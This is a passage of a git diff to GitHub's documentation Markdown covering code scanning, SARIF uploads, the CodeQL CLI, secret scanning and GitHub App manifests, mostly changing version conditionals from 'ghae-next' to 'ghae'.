b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md @@ -23,7 +23,7 @@ shortTitle: View code scanning logs You can use a variety of tools to set up {% data variables.product.prodname_code_scanning %} in your repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} The log and diagnostic information available to you depends on the method you use for {% data variables.product.prodname_code_scanning %} in your repository. You can check the type of {% data variables.product.prodname_code_scanning %} you're using in the **Security** tab of your repository, by using the **Tool** drop-down menu in the alert list. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." ## About analysis and diagnostic information diff --git a/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md b/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md index dd455f1b35..7d5a652b49 100644 --- a/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md +++ b/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md @@ -34,10 +34,10 @@ To upload a SARIF file from a third-party static code analysis engine, you'll ne If you're using {% data variables.product.prodname_actions %} with the {% data variables.product.prodname_codeql_workflow %} or using the {% data variables.product.prodname_codeql_runner %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} If you're using the {% data variables.product.prodname_codeql_cli %}, then you can specify the version of SARIF to use. For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database)."{% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} You can upload multiple SARIF files for the same tool and commit, and analyze each file using {% data variables.product.prodname_code_scanning %}. You can indicate a "category" for each analysis by specifying a `runAutomationDetails.id` in each file. Only SARIF files with the same category will overwrite each other. For more information about this property, see [`runAutomationDetails` object](#runautomationdetails-object) below. {% endif %} @@ -101,7 +101,7 @@ Any valid SARIF 2.1.0 output file can be uploaded, however, {% data variables.pr | `help.text` | **Required.** Documentation for the rule using text format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. | `help.markdown` | **Recommended.** Documentation for the rule using Markdown format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. When `help.markdown` is available, it is displayed instead of `help.text`. | `properties.tags[]` | **Optional.** An array of strings. {% data variables.product.prodname_code_scanning_capc %} uses `tags` to allow you to filter results on {% data variables.product.prodname_dotcom %}. For example, it is possible to filter to all results that have the tag `security`. -| `properties.precision` | **Recommended.** A string that indicates how often the results indicated by this rule are true. For example, if a rule has a known high false-positive rate, the precision should be `low`. {% data variables.product.prodname_code_scanning_capc %} orders results by precision on {% data variables.product.prodname_dotcom %} so that the results with the highest `level`, and highest `precision` are shown first. Can be one of: `very-high`, `high`, `medium`, or `low`. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `properties.precision` | **Recommended.** A string that indicates how often the results indicated by this rule are true. For example, if a rule has a known high false-positive rate, the precision should be `low`. {% data variables.product.prodname_code_scanning_capc %} orders results by precision on {% data variables.product.prodname_dotcom %} so that the results with the highest `level`, and highest `precision` are shown first. Can be one of: `very-high`, `high`, `medium`, or `low`. {% ifversion fpt or ghes > 3.1 or ghae or ghec %} | `properties.problem.severity` | **Recommended.** A string that indicates the level of severity of any alerts generated by a non-security query. This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `problem.severity`, and highest `precision` are shown first. Can be one of: `error`, `warning`, or `recommendation`. | `properties.security-severity` | **Recommended.** A score that indicates the level of severity, between 0.0 and 10.0, for security queries (`@tags` includes `security`). This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `security-severity`, and highest `precision` are shown first. {% data variables.product.prodname_code_scanning_capc %} translates numerical scores as follows: over 9.0 is `critical`, 7.0 to 8.9 is `high`, 4.0 to 6.9 is `medium` and 3.9 or less is `low`. {% endif %} @@ -141,7 +141,7 @@ A location within a programming artifact, such as a file in the repository or a | `region.endLine` | **Required.** The line number of the last character in the region. | `region.endColumn` | **Required.** The column number of the character following the end of the region. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ### `runAutomationDetails` object The `runAutomationDetails` object contains information that specifies the identity of a run. @@ -245,7 +245,7 @@ This SARIF output file has example values to show the minimum required propertie This SARIF output file has example values to show all supported SARIF properties for {% data variables.product.prodname_code_scanning %}. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ```json { "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", diff --git a/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md b/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md index 96fc77dae0..f9dbd860e6 100644 --- a/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md +++ b/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md @@ -36,10 +36,10 @@ topics: You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." -You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API, {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}the {% data variables.product.prodname_codeql_cli %}, {% endif %}or the {% data variables.product.prodname_codeql_runner %}. The best upload method will depend on how you generate the SARIF file, for example, if you use: +You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API, {% ifversion fpt or ghes > 3.0 or ghae or ghec %}the {% data variables.product.prodname_codeql_cli %}, {% endif %}or the {% data variables.product.prodname_codeql_runner %}. The best upload method will depend on how you generate the SARIF file, for example, if you use: - {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis. -- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below). {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below). {% ifversion fpt or ghes > 3.0 or ghae or ghec %} - The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% endif %} - The {% data variables.product.prodname_codeql_runner %}, to run {% data variables.product.prodname_code_scanning %} in your CI system, by default the runner automatically uploads results to {% data variables.product.prodname_dotcom %} on completion. If you block the automatic upload, when you are ready to upload results you can use the `upload` command (for more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"). - A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"). @@ -80,7 +80,7 @@ on: jobs: build: - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: security-events: write{% endif %} steps: @@ -114,7 +114,7 @@ on: jobs: build: - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: security-events: write{% endif %} steps: @@ -135,7 +135,7 @@ jobs: ## Further reading - "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)" -- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)"{%- ifversion fpt or ghes > 3.0 or ghae-next %} +- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)"{%- ifversion fpt or ghes > 3.0 or ghae %} - "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"{% else %} - "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} - "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)" diff --git a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md index 6e861522f8..c8ad424e59 100644 --- a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md +++ b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md @@ -32,7 +32,7 @@ redirect_from: {% data reusables.code-scanning.codeql-context-for-actions-and-third-party-tools %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} {% data reusables.code-scanning.codeql-cli-context-for-third-party-tools %} diff --git a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md index 8d71a5fd2e..fba109bb62 100644 --- a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md +++ b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md @@ -9,7 +9,7 @@ redirect_from: versions: fpt: '*' ghes: '>=3.1' - ghae: next + ghae: '*' ghec: '*' type: how_to topics: @@ -277,7 +277,7 @@ $ codeql database analyze /codeql-dbs/example-repo octo-org/security-queries \ ``` {% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Example CI configuration for {% data variables.product.prodname_codeql %} analysis @@ -331,7 +331,7 @@ If you want to upload more than one set of results to the {% data variables.prod ### Alternative if your CI system cannot trigger the {% data variables.product.prodname_codeql_cli %} -{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.2 or ghae or ghec %} If your CI system cannot trigger the {% data variables.product.prodname_codeql_cli %} autobuild and you cannot specify a command line for the build, you can use indirect build tracing to create {% data variables.product.prodname_codeql %} databases for compiled languages. For more information, see [Using indirect build tracing](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#using-indirect-build-tracing) in the documentation for the {% data variables.product.prodname_codeql_cli %}. diff --git a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md index 6c8749f755..1099495b71 100644 --- a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md +++ b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md @@ -7,7 +7,7 @@ miniTocMaxHeadingLevel: 3 versions: fpt: '*' ghes: '>=3.1' - ghae: next + ghae: '*' ghec: '*' type: how_to topics: diff --git a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md index 3a4e94ffa4..f6f88a8066 100644 --- a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md +++ b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md @@ -6,7 +6,7 @@ product: '{% data reusables.gated-features.code-scanning %}' versions: fpt: '*' ghes: '>=3.1' - ghae: next + ghae: '*' ghec: '*' topics: - Advanced Security diff --git a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md index 14ce3be757..441e52b87a 100644 --- a/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md +++ b/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md @@ -36,7 +36,7 @@ topics: The {% data variables.product.prodname_codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} In many cases it is easier to set up {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %} directly in your CI system. {% endif %} diff --git a/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md b/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md index 9eb7215f1e..ff470708a7 100644 --- a/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md +++ b/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md @@ -8,7 +8,7 @@ redirect_from: versions: fpt: '*' ghes: '>=3.1' - ghae: next + ghae: '*' ghec: '*' type: how_to topics: @@ -39,7 +39,7 @@ After someone reports a security vulnerability in your project, you can use {% d {% data reusables.repositories.github-security-lab %} {% endif %} -{% ifversion ghes > 3.0 or ghae-next %} +{% ifversion ghes > 3.0 or ghae %} By making security reporting instructions clearly available, you make it easy for your users to report any security vulnerabilities they find in your repository using your preferred communication channel. {% endif %} diff --git a/content/code-security/getting-started/github-security-features.md b/content/code-security/getting-started/github-security-features.md index f6811cfb39..174275d178 100644 --- a/content/code-security/getting-started/github-security-features.md +++ b/content/code-security/getting-started/github-security-features.md @@ -23,7 +23,7 @@ The {% data variables.product.prodname_advisory_database %} contains a curated l {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} ## Available for all repositories {% endif %} -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} ### Security policy Make it easy for your users to confidentially report security vulnerabilities they've found in your repository. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)." diff --git a/content/code-security/getting-started/securing-your-repository.md b/content/code-security/getting-started/securing-your-repository.md index 8b7f466b77..7cbdb8a96f 100644 --- a/content/code-security/getting-started/securing-your-repository.md +++ b/content/code-security/getting-started/securing-your-repository.md @@ -35,7 +35,7 @@ From the main page of your repository, click **{% octicon "gear" aria-label="The - To change who can view your repository, click **Change visibility**. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."{% ifversion fpt or ghec %} - To change who can access your repository and adjust permissions, click **Manage access**. For more information, see"[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)."{% endif %} -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} ## Setting a security policy 1. From the main page of your repository, click **{% octicon "shield" aria-label="The shield symbol" %} Security**. diff --git a/content/code-security/secret-scanning/about-secret-scanning.md b/content/code-security/secret-scanning/about-secret-scanning.md index 870dca2229..445c0f3fab 100644 --- a/content/code-security/secret-scanning/about-secret-scanning.md +++ b/content/code-security/secret-scanning/about-secret-scanning.md @@ -54,19 +54,19 @@ When {% data variables.product.prodname_secret_scanning %} detects a set of cred If you're a repository administrator or an organization owner, you can enable {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %} private{% endif %} repositories that are owned by organizations. You can enable {% data variables.product.prodname_secret_scanning %} for all your repositories, or for all new repositories within your organization.{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} is not available for user-owned private repositories.{% endif %} For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns that only apply to your repository or organization. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)."{% endif %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns that only apply to your repository or organization. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)."{% endif %} When you push commits to a{% ifversion fpt or ghec %} private{% endif %} repository with {% data variables.product.prodname_secret_scanning %} enabled, {% data variables.product.prodname_dotcom %} scans the contents of the commits for secrets. When {% data variables.product.prodname_secret_scanning %} detects a secret in a{% ifversion fpt or ghec %} private{% endif %} repository, {% data variables.product.prodname_dotcom %} generates an alert. - {% data variables.product.prodname_dotcom %} sends an email alert to the repository administrators and organization owners. -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} - {% data variables.product.prodname_dotcom %} sends an email alert to the contributor who committed the secret to the repository, with a link to the related {% data variables.product.prodname_secret_scanning %} alert. The commit author can then view the alert in the repository, and resolve the alert. {% endif %} - {% data variables.product.prodname_dotcom %} displays an alert in the repository.{% ifversion ghes = 3.0 %} For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} For more information about viewing and resolving {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." diff --git a/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md b/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md index e81557bfdf..3ae19dfdbe 100644 --- a/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md +++ b/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md @@ -33,17 +33,17 @@ shortTitle: Configure secret scans ## Enabling {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %}private {% endif %}repositories -{% ifversion ghes or ghae-next %} +{% ifversion ghes or ghae %} You can enable {% data variables.product.prodname_secret_scanning %} for any repository that is owned by an organization. {% endif %} Once enabled, {% data reusables.secret-scanning.secret-scanning-process %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} 4. If {% data variables.product.prodname_advanced_security %} is not already enabled for the repository, to the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. {% ifversion fpt or ghec %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/help/repository/enable-ghas-dotcom.png) - {% elsif ghes > 3.0 or ghae-next %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %} + {% elsif ghes > 3.0 or ghae %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %} 5. Review the impact of enabling {% data variables.product.prodname_advanced_security %}, then click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**. 6. When you enable {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} may automatically be enabled for the repository due to the organization's settings. If "{% data variables.product.prodname_secret_scanning_caps %}" is shown with an **Enable** button, you still need to enable {% data variables.product.prodname_secret_scanning %} by clicking **Enable**. If you see a **Disable** button, {% data variables.product.prodname_secret_scanning %} is already enabled. ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-dotcom.png) @@ -88,4 +88,4 @@ You can also ignore individual alerts from {% data variables.product.prodname_se ## Further reading - "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}- "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"{% endif %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %}- "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"{% endif %} diff --git a/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md index ed23e51702..7ef55ec4a7 100644 --- a/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md +++ b/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md @@ -8,7 +8,7 @@ redirect_from: versions: fpt: '*' ghes: '>=3.2' - ghae: next + ghae: '*' ghec: '*' topics: - Repositories diff --git a/content/code-security/security-overview/about-the-security-overview.md b/content/code-security/security-overview/about-the-security-overview.md index 15013c110e..16d8b25dda 100644 --- a/content/code-security/security-overview/about-the-security-overview.md +++ b/content/code-security/security-overview/about-the-security-overview.md @@ -25,7 +25,7 @@ shortTitle: About security overview You can use the security overview for a high-level view of the security status of your organization or to identify problematic repositories that require intervention. At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." -The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae-next %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %} +The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %} For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)." diff --git a/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md b/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md index 477b3c428f..e561cf3c93 100644 --- a/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md +++ b/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md @@ -60,7 +60,7 @@ The person creating the app will be redirected to a GitHub page with an input fi `name` | `string` | The name of the GitHub App. `url` | `string` | **Required.** The homepage of your GitHub App. `hook_attributes` | `object` | The configuration of the GitHub App's webhook. -`redirect_url` | `string` | The full URL to redirect to after a user initiates the creation of a GitHub App from a manifest.{% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} +`redirect_url` | `string` | The full URL to redirect to after a user initiates the creation of a GitHub App from a manifest.{% ifversion fpt or ghae or ghes > 3.0 or ghec %} `callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs.{% else %} `callback_url` | `string` | A full URL to redirect to after someone authorizes an installation.{% endif %} `description` | `string` | A description of the GitHub App. @@ -100,7 +100,7 @@ This example uses a form on a web page with a button that triggers the `POST` re "url": "https://example.com/github/events", }, "redirect_url": "https://example.com/redirect", - {% ifversion fpt or ghae-next or ghes > 3.0 or ghec %}"callback_urls": [ + {% ifversion fpt or ghae or ghes > 3.0 or ghec %}"callback_urls": [ "https://example.com/callback" ],{% else %}"callback_url": "https://example.com/callback",{% endif %} "public": true, @@ -135,7 +135,7 @@ This example uses a form on a web page with a button that triggers the `POST` re "url": "https://example.com/github/events", }, "redirect_url": "https://example.com/redirect", - {% ifversion fpt or ghae-next or ghes > 3.0 or ghec %}"callback_urls": [ + {% ifversion fpt or ghae or ghes > 3.0 or ghec %}"callback_urls": [ "https://example.com/callback" ],{% else %}"callback_url": "https://example.com/callback",{% endif %} "public": true, diff --git a/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md index 9a34f94af7..4c41f66d9e 100644 --- a/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md +++ b/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md @@ -22,13 +22,13 @@ You can add query parameters to these URLs to preselect the configuration of a { The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app. -{% ifversion ghes > 3.1 or fpt or ghae-next or ghec %} +{% ifversion ghes > 3.1 or fpt or ghae or ghec %} For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)." {% endif %} The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation: -{% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} +{% ifversion fpt or ghae or ghes > 3.0 or ghec %} ```text {% data variables.product.oauth_host_code %}/settings/apps/new?name=octocat-github-app&description=An%20Octocat%20App&callback_urls[]=https://example.com&request_oauth_on_install=true&public=true&checks=write&events[]=check_run&events[]=check_suite @@ -50,7 +50,7 @@ The complete list of available query parameters, permissions, and events is list -----|------|------------- `name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action. `description` | `string` | A description of the {% data variables.product.prodname_github_app %}. -`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage.{% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} +`url` | `string` | The full URL of your {% data 